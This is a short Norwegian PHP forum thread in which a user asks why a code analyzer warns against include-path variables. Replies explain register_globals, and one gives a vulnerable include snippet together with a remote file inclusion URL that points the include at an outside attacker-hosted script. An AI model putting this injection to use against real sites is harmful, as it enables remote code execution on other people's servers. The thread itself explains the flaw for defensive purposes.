sp33d3r_89 Skrevet 26. desember 2006 Skrevet 26. desember 2006 Jeg driver å jobber på et including script, og bruker da variabler som jeg har lagt i phpdokumentet, som f.eks $includepath, denne er ikke det ikke meningen at brukeren skal kunne endre på. Jeg bruker Zend Studio til å programmere siden, og når jeg skulle bruke funksjonen "analyze" til å sjekke om det var noen sikkerhetsfeil med scriptet mitt så fikk jeg beskjed om at jeg ikke burde bruke variabler som $includepath, men i stedet bruke konstanter som define('library', true), hvorfor fikk jeg beskjed om dette, er det noe sikrerere? Klientet får da vel ikke endret på variabler som ligger i php-dokumentet så lenge dem ikke har kontakt med cookies, httpheaders, post, get eller noe sånt? Og viss variabelen er fra get, post eller noe sånt så er det jo bare å whiteliste dataen og så fjerne metachars fra den og så er da den uskadelig..
Beethoven Skrevet 26. desember 2006 Skrevet 26. desember 2006 Jeg vet ikke helt, ikke peiling, men kan det ha noe med register globals?
ZoRaC Skrevet 28. desember 2006 Skrevet 28. desember 2006 Det er nok register_globals som er årsaken ja... Se for deg denne: PHP if ($noe) {$includepath = "./"; } include $includepath."fil.php"; Så kommer jeg: "www.dinserver.com/scriptet.php?includepath=http://www.minserver.com/farlig.php"
Anbefalte innlegg
Opprett en konto eller logg inn for å kommentere
Du må være et medlem for å kunne skrive en kommentar
Opprett konto
Det er enkelt å melde seg inn for å starte en ny konto!
Start en kontoLogg inn
Har du allerede en konto? Logg inn her.
Logg inn nå